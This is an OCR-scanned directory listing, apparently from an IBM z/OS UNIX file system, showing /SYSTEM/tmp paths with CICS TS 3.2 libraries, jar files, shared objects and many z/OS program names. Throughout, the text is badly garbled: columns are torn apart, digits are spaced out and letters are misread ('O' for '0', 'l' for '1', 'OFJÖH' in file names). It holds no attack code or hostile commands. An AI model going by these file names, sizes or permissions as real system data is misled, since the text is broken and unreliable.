5 1 7 : 1 5 edccl 
5 1 7 : 1 5  edcclg  
5 1 7 : 1 5 edccl ib 
5 1 7 : 1 5 edccp lg  
5 1 7 : 1 5 edcds ect  
5 1 7 : 1 5  edcgnxlt  
5 1 7 : 1 5 edci  
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- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw- rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw-rw-
-rw- rw- rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-

l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  

2 2 3 0  Mar 5 1 7 : 1 5 edciconv 
4 8 4 3  Mar 5 1 7 : 1 5 edclde f 
1 5 2 2  Mar 
3 3 1 3  Mar 
2 1 0 3  Ma r 
2 6 0 7  Mar 
4 2 2 5  Mar 
4 7 5 5 Mar 
4 5 6 3 Ma r 
4 3 3 9  Mar 
4 8 7 5  Mar 
4 5 6 3 Mar 
5 0 3 4  Mar 
3 2 8 2  Mar 

9 8 2  Mar 
9 9 0 Ma r 

1 6 5 6  Mar 
7 0 1  Mar 
9 9 0 Mar 

4 0 0 6  Ma r 
9 9 0 Mar 
9 8 7  Ma r 
9 8 7  Mar 
9 8 7  Mar 
9 9 0  Mar 
9 8 7  Mar 
9 8 6  Mar 
9 7 5  Mar 
9 9 5 Mar 
9 9 0 Mar 

1 1 1 6  Mar 
1 1 1 0  Mar 
1 1 2 2  Mar 
1 1 1 0  Mar 
1 1 4 0  Mar 
1 1 1 5 Mar 

9 7 9  Mar 
9 7 9  Ma r 

5 1 7 : 1 5 edc l ib 
5 1 7 : 1 5 edcpl 
5 1 7 : 1 5 edcqb 
5 1 7 : 1 5 edcqbg 
5 1 7 : 1 5  edcqcb 
5 1 7 : 1 5  edcqcbg 
5 1 7 : 1 5 edcqi 
5 1 7 : 1 5 edcxcb 
5 1 7 : 1 5  edcxcbg 
5 1 7 : 1 5 edcxi 
5 1 7 : 1 5 edcxlde f  
5 1 7 : 1 5 epwff s t  
5 1 7 : 1 5 euvap O O l  
5 1 7 : 1 5 euvap 0 0 2  
5 1 7 : 1 5 euvap 0 0 3  
5 1 7 : 1 5 euvap 0 0 4  
5 1 7 : 1 5  euvap 0 0 5  
5 1 7 : 1 5 euvap 0 0 6  
5 1 7 : 1 5 euvap 0 0 7  
5 1 7 : 1 5 euvap 0 0 8  
5 1 7 : 1 5 euvap 0 0 9  
5 1 7 : 1 5 euvap 0 1 0  
5 1 7 : 1 5 euvap 0 1 1  
5 1 7 : 1 5 euvap 0 1 2  
5 1 7 : 1 5 euvap 0 1 3  
5 1 7 : 1 5 euvap 0 1 4  
5 1 7 : 1 5 euvap 0 1 5  
5 1 7 : 1 5 euvap 0 1 6  
5 1 7 : 1 5 euvap 0 1 7  
5 1 7 : 1 5 euvap 0 1 8  
5 1 7 : 1 5 euvap 0 1 9  
5 1 7 : 1 5 euvap 0 2 0  
5 1 7 : 1 5  euvap 0 2 1  
5 1 7 : 1 5 euvap 0 2 2  
5 1 7 : 1 5 euvap 0 2 3  
5 1 7 : 1 5 euvap 0 2 4  
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- rw-rw-rw-
- rw-rw- rw-
-rw-rw-rw-
- rw-rw-rw-
-rw-rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw- rw-
- rw- rw-rw-
- rw-rw- rw-
- rw-rw-rw-
-rw- rw- rw-
- rw- rw- rw-
-rw-rw- rw-
- rw-rw- rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-

l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  

9 7 9  Mar 
1 2 1 1  Mar 

4 9 7 Mar 
7 4  Mar 

1 8 9 0 Mar 
2 6 0 2  Mar 
3 4 9 3 Mar 
3 9 2 0  Mar 
2 3 4 4  Mar 
4 4 7 8  Mar 

1 3 1 2 2  Mar 
8 7 4 8  Mar 
5 1 1 4  Mar 

4 8 6  Mar 
5 4 2 7  Ma r 
1 8 1 5  Mar 
1 9 8 0  Mar 
2 1 7 3  Mar 
2 3 0 1  Mar 
1 2 8 3  Mar 
4 5 3 6  Mar 
7 2 9 0 Mar 
2 5 4 9  Mar 
1 7 8 3 Mar 
2 3 1 8  Mar 
2 6 6 5  Mar 
2 8 5 8  Mar 
3 0 2 4  Mar 
3 3 8 9  Mar 
1 4 3 5  Mar 

3 5 1  Mar 
1 8 6 3 Mar 
4 0 0 6  Mar 

4 0 5  Mar 
1 6 2 Mar 

2 4 3 0  Mar 
1 8 6 3 Mar 
3 4 0 2 Mar 

5 1 7 : 1 5  euvap 0 2 5  
5 1 7 : 1 5  euvf s 0 0 3  
5 1 7 : 1 5  euvf s 0 0 4  
5 1 7 : 1 5  e z a z s s i  
5 1 7 : 1 5 faneme 
5 1 7 : 1 5 fanerneg 
5 1 7 : 1 5  fanemel 
5 1 7 : 1 5 fanemelg  
5 1 7 : 1 5 fanemoee 
5 1 7 : 1 5 ftpd 
5 1 7 : 1 5 g f saproe  
5 1 7 : 1 5 g f s eproe  
5 1 7 : 1 5 gpmse rve 
5 1 7 : 1 5 gtf  
5 1 7 : 1 5  h i s  
5 1 7 : 1 5 h la sme 
5 1 7 : 1 5 h la smeg 
5 1 7 : 1 5 h la smel 
5 1 7 : 1 5 h la smelg 
5 1 7 : 1 5 hvemea 
5 1 7 : 1 5  hwi s t art 
5 1 7 : 1 5 h z r  
5 1 7 : 1 5 h z sproe 
5 1 7 : 1 5 ibmz e 
5 1 7 : 1 5 ibmz eb 
5 1 7 : 1 5 ibmz ebg 
5 1 7 : 1 5  ibmz epg 
5 1 7 : 1 5 ibmzepl 
5 1 7 : 1 5  ibmz eplg 
5 1 7 : 1 5 i eeopt 
5 1 7 : 1 5 i eeproe 
5 1 7 : 1 5  i davdt 
5 1 7 : 1 5 idl 
5 1 7 : 1 5 i ee sysas  
5 1 7 : 1 5 i eevmper 
5 1 7 : 1 5 i fgedi 
5 1 7 : 1 5 i fgoeetr 
5 1 7 : 1 5 i gywe 
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- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
-rw- rw-rw-
-rw-rw- rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-

l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  

4 3 7 4  Mar 
4 6 1 7  Mar 
4 9 4 1  Mar 
5 8 3 2 Mar 
5 9 1 3  Mar 
6 3 9 9  Mar 

8 4 6  Mar 
1 7 3 1  Mar 
5 3 4 6  Mar 

8 9 1 Mar 
2 7 0 0  Mar 

4 6 2 Mar 
2 7 9 7 Mar 

2 3 4  Mar 
4 4 5 5 Ma r 

1 8 1  Ma r 
5 3 3  Mar 
9 4 8  Mar 

4 0 5 0  Mar 
4 3 8  Mar 
4 2 2  Mar 
9 9 0  Mar 
9 8 7  Mar 
9 8 7  Mar 
7 2 9  Mar 
4 8 6  Mar 
5 6 7 Ma r 

6 6  Mar 
9 9 0  Mar 

2 5 1 1  Mar 
6 4 8 0  Mar 

8 1 4  Mar 
2 0 2 5  Mar 
1 6 3 7  Mar 
1 6 3 7  Mar 
2 5 0 5  Mar 
1 4 5 8  Mar 
2 7 9 9  Mar 

5 1 7 : 1 5 i gywcg 
5 1 7 : 1 5  i gywc l  
5 1 7 : 1 5 i gywc lg  
5 1 7 : 1 5 i gywcpg 
5 1 7 : 1 5 i gywcpl  
5 1 7 : 1 5 i gywcplg  
5 1 7 : 1 5 i kj accnt 
5 1 7 : 1 5 i kysproc 
5 1 7 : 1 5 i n it  
5 1 7 : 1 5 i oao sa s f 
5 1 7 : 1 5 i oep O O O l  
5 1 7 : 1 5  i oep 0 0 0 2  
5 1 7 : 1 5 i oep0 0 0 3  
5 1 7 : 1 5 ioep 0 0 0 4  
5 1 7 : 1 5 ipcs  
5 1 7 : 1 5 ipl j ob l 
5 1 7 : 1 5 i rrdptab 
5 1 7 : 1 5 ivprdr 
5 1 7 : 1 5 ixglogrs  
5 1 7 : 1 5 j e s 2  
5 1 7 : 1 5 j e s 2 o ld  
5 1 7 : 1 5 kde s t roy 
5 1 7 : 1 5 k init  
5 1 7 : 1 5  k l i s t  
5 1 7 : 1 5 l inks  
5 1 7 : 1 5 l ked  
5 1 7 : 1 5 l kedg 
5 1 7 : 1 5 l l a 
5 1 7 : 1 5 l oginact 
5 1 7 : 1 5 logonwmO 
5 1 7 : 1 5 l ogroute 
5 1 7 : 1 5 net 
5 1 7 : 15  n ftpqh 
5 1 7 : 1 5 n ftp s l 
5 1 7 : 1 5  n ftps 2  
5 1 7 : 1 5 omproute 
5 1 7 : 1 5 omvs 
5 1 7 : 1 5 o s nmpd 
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- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw- rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
-rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
-rw- rw-rw-

l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  

2 4 3 0  Mar 
1 7 3 1  Mar 
1 4 5 3 Mar 
1 5 3 9  Mar 

6 4 8  Mar 
6 4 8  Mar 
6 4 8  Mar 

1 5 7 6  Mar 
1 8 9 0 Mar 
2 6 0 2  Mar 
3 4 9 3 Mar 
3 9 2 0  Mar 
2 5 2 8  Mar 
2 3 4 4  Mar 

9 8 7  Mar 
4 6 9 8 Mar 
2 1 2 2  Mar 
2 9 9 8 Mar 
4 7 7 9  Mar 
1 1 3 4 Mar 

9 9 0 Mar 
1 1 4 5  Mar 

9 7 5  Mar 
9 7 9  Mar 
9 7 9  Mar 
9 7 9  Mar 

1 2 1 1  Mar 
4 9 7 Ma r 

1 0 6 4 Mar 
1 7 1 6  Mar 

3 5 1  Mar 
9 9 5  Mar 

5 1 8 1  Mar 
4 0 4 6  Mar 
2 8 6 4 Mar 

9 7 6  Mar 
9 8 7  Mar 
2 8 8  Mar 

5 1 7 : 1 5 p fa 
5 1 7 : 1 5 p ki s e rvd 
5 1 7 : 1 5 printpd 
5 1 7 : 1 5 racf  
5 1 7 : 1 5  rdr 
5 1 7 : 1 5 rdr 3 2 0 0  
5 1 7 : 1 5 rdr4 0 0  
5 1 7 : 1 5 re sa lver 
5 1 7 : 1 5 rexxc 
5 1 7 : 1 5 rexxcg 
5 1 7 : 1 5 rexxcl  
5 1 7 : 1 5 rexxclg  
5 1 7 : 1 5 rexxl 
5 1 7 : 1 5  rexxoec  
5 1 7 : 1 5 rgyedit  
5 1 7 : 1 5 rmf 
5 1 7 : 1 5 rmfc sc  
5 1 7 : 1 5 rmfgat 
5 1 7 : 1 5  rmfm3b 
5 1 7 : 1 5  rmtgen 
5 1 7 : 1 5 rpccp 
5 1 7 : 1 5 s ds f  
5 1 7 : 1 5 s e eactmin 
5 1 7 : 1 5  s eccrtdb 
5 1 7 : 1 5 s e cexpdb 
5 1 7 : 1 5  s e cimpdb 
5 l 7 :  1 5  s krbkdc 
5 1 7 : 1 5 s krbwtr 
5 1 7 : 1 5 smfclear  
5 1 7 : 1 5 s nmpqe 
5 1 7 : 1 5  s ort  
5 1 7 : 1 5 s torepw 
5 1 7 : 1 5 s y s lagd 
5 1 7 : 1 5 t cpip 
5 1 7 : 1 5 telnet  
5 1 7 : 1 5 t s o  
5 1 7 : 1 5 uuidgen 
5 1 7 : 1 5  v l f  
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- rw- rw- rw- l SUPERUSR 0 3 8 4  3 2 4  Mar 5 1 7 : 1 5  xwtr 
- rw-rw-rw- l SUPERUSR 0 3 8 4  2 3 4  Mar 5 1 7 : 1 5 z f s 

. / SYSTEM/ tmp / a O / c i c s t s : 
total  3 2  
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 appl 
drwxrwxr-x  8 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 c i c s t s 3 2  

. / SYSTEM/ tmp / a O / c i c s t s / appl : 
total  O 

. / SYSTEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 : 
total  1 0 4  
drwxr-xr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 JVMPro f i l e s  
- rw-rw-rw- l SUPERUSR 0 3 8 4  7 0  Mar 5 1 7 : 2 8 note 0 8 1 1 2 7 . txt 

-

drwxrwxr- x  6 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 l ib 
drwxrwxr-x  1 1  SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s amp l e s  
drwx- - - - - - 6 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s emc i ca3  
drwxrwxrwx 6 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s emc i ca4  
drwxrwxrwx 6 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s emc i ch l  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / JVMPro f i le s : 
total  o 

. / SYSTEM/ tmp/ a 0 / c i c s t s / ci c s t s 3 2 / l ib :  
total  2 5 3 2 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 7 3 5 9 9  Mar 5 1 7 : 2 8 CTKin stal ledRl  2 . j ar 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 6 9 1 8  Mar 5 1 7 : 2 8 df j adj r . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 7 2 8 0  Mar 5 1 7 : 2 8 dfj cc i . j ar 
- rwxrwxr-x  l SUPERUSR 03 8 4  2 4 6 5 5 4  Mar 5 1 7 : 2 8 dfj cdmn . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 9 9 4 2 4  Mar 5 1 7 : 2 8 dfj c i c s . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 3 6 4 1 0  Mar 5 1 7 : 2 8 df j c i c s ra s . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 7 6 9 3 4  Ma r 5 1 7 : 2 8 df j cont . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 8 6 1 6 2 Mar 5 1 7 : 2 8 df j c s i . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  9 2 3 0 6  Mar 5 1 7 : 2 8 df j e j bdd . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  9 2 3 0 2  Mar 5 1 7 : 2 8 dfj j t s . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  6 9 2 0 2 1  Ma r 5 1 7 : 2 8 df j name . j ar 
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-rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x 
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x 
- rwxrwxr-x 
- rwxrwxr-x  
-rwxrwxr-x  
- rwxrwxr-x  
drwxrwxr-x  
- rwxrwxr-x  
drwxrwxr-x  
drwxrwxr-x  

l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
3 SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
3 SUPERUSR 0 3 8 4  
4 SUPERUSR 0 3 8 4  

1 8 4 4 1 3 Mar 
8 3 0 1  Mar 

1 7 4 1 7  Mar 
4 3 3 3 5 6 8  Ma r 
4 3 3 3 5 6 8 Mar 

1 8 0 2 2 4  Mar 
1 8 0 2 2 4  Mar 
1 1 4  6 8 8  Mar 
1 1 4  6 8 8  Ma r 
2 3 9 7 1 4  Mar 
2 5 5 5 9 3 Mar 
1 6 1 2 1 2 Mar 

8 1 9 2 Mar 
1 1 3 6 0 5  Mar 

8 1 9 2 Mar 
8 1 9 2 Mar 

5 1 7 : 2 8 dfj orb . j a r 
5 1 7 : 2 8 dfj output . j ar 
5 1 7 : 2 8 df j wrap . j ar 

Repan 

5 1 7 : 2 8 l ibcom ibm c i c s  s e rve r OTC . s o 
5 1 7 : 2 8 l ibcom_ibm_cic s  s e rve r OTC_g . s o 
5 1 7 : 2 8 l ibdfhapj vmt . s o 
5 1 7 : 2 8 l ibdfhapj vmt_g . s o 
5 1 7 : 2 8 l ibdfhcdj ni . s o 
5 1 7 : 2 8 l ibdfhcdj ni  g . so 
5 1 7 : 2 8 n s s rcm . j a r 
5 1 7 : 2 8 omgco s . j a r 
5 1 7 : 2 8 ras . j ar 
5 1 7 : 2 8 s e curity  
5 1 7 : 2 8 websphere . j ar 
5 1 7 : 2 8 wsdl 
5 1 7 : 2 8 w sdl old 

. / SYS TEM/ tmp / a 0 / c ic st s / c i c s t s 3 2 / l ib / I BM :  
total  2 5 2 6 4  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
-rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
-rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  
- rwxrwxr-x  

l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  

1 8 0 2 2 4  Mar 
1 8 0 2 2 4  Mar 
1 1 4 6 8 8  Ma r 
1 1 4  6 8 8  Mar 
1 9 9 4 2 4  Mar 

1 7 4 1 7  Mar 
1 8 4 4 1 3  Ma r 
2 4 6 5 5 4  Mar 
1 8 6 1 6 2 Ma r 
3 7 6 9 3 4  Mar 

9 2 3 0 2  Mar 
1 3 6 4 1 0  Mar 
5 7 3 5 9 9  Mar 
2 5 5 5 9 3 Mar 
6 9 2 0 2 1  Mar 
1 6 1 2 1 2  Mar 

5 1 7 : 2 8 OFHAPJVl 
5 1 7 : 2 8 OFHAPJV2 
5 1 7 : 2 8 OFHCOJN2 
5 1 7 : 2 8 OFHCOJNI  
5 1 7 : 2 8 OFJÖH O O O  
5 1 7 : 2 8 OFJÖH 0 0 4  
5 1 7 : 2 8 OFJÖH 0 4 2  
5 1 7 : 2 8 OFJÖH 0 4 3  
5 1 7 : 2 8 OFJÖH 0 5 7  
5 1 7 : 2 8 OFJÖH 0 5 8  
5 1 7 : 2 8 OFJÖH 0 6 0  
5 1 7 : 2 8 OFJÖH 0 6 3  
5 1 7 : 2 8 OFJÖH 0 6 8  
5 1 7 : 2 8 OFJÖH 0 7 8  
5 1 7 : 2 8 OFJÖH 1 2 0  
5 1 7 : 2 8 OFJÖH 1 3 4  

1 6 9 1 8  Mar 5 1 7 : 2 8 OFJÖH 1 4 9 
3 7 2 8 0  Mar 5 1 7 : 2 8 OFJÖH 1 5 0  

2 3 9 7 1 4  Mar 5 1 7 : 2 8 OFJÖH 1 5 2  
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- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 3 6 0 5  Mar 5 1 7 : 2 8 OFJÖH 1 5 3  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  9 2 3 0 6  Mar 5 1 7 : 2 8 OFJÖH 1 5 5  
- rwxrwxr-x  l SUPERUSR 03 8 4  8 3 0 1  Mar 5 1 7 : 2 8 OFJÖH 1 6 8  
- rwxrwxr-x  l SUPERUSR 03 8 4  4 3 3 3 5 6 8  Mar 5 1 7 : 2 8 OFJOTCOl  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 3 3 3 5 6 8  Mar 5 1 7 : 2 8 OFJOTC02 

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / l ib / s e curity : 
total  5 6  
drwxrwxr-x  2 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 03 8 4  8 2 2  Mar 5 1 7 : 2 8 dfhreg 
- rwxrwxr-x  l SUPERUSR 03 8 4  1 2 1 2 Mar 5 1 7 : 2 8 dfhreg . bat  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 0 1 8 7  Mar 5 1 7 : 2 8 dfhreg . j ar 

. / SYSTEM/ tmp / a 0 / c i c s t s / c i c st s 3 2 / l ib / s e curity/ IBM :  
total  4 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 0 1 8 7  Ma r 5 1 7 : 2 8 OFJÖH 1 4 6  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 2 1 2 Mar 5 1 7 : 2 8 OFJÖH 1 4 7  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 2 2  Mar 5 1 7 : 2 8 OFJÖH 1 4 8  

. / SYSTEM/ tmp / a 0 / c ic st s / c i cs t s 3 2 / l ib /wsdl : 
total  5 5 6 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 OFHLS 2WS 
- rwxrwxr-x l SUPERUSR 0 3 8 4  1 1 4 2  Mar 5 1 7 : 2 8 OFHWS 2 LS 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 7 9 0  Mar 5 1 7 : 2 8 NamespaceContext . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 2 8 3 0 2 Ma r 5 1 7 : 2 8 Xml S chema . j ar 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 5 6 3 9 6  Mar 5 1 7 : 2 8 common . j a r 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  7 7 5 7 Ma r 5 1 7 : 2 8 common . re s ources . j ar  
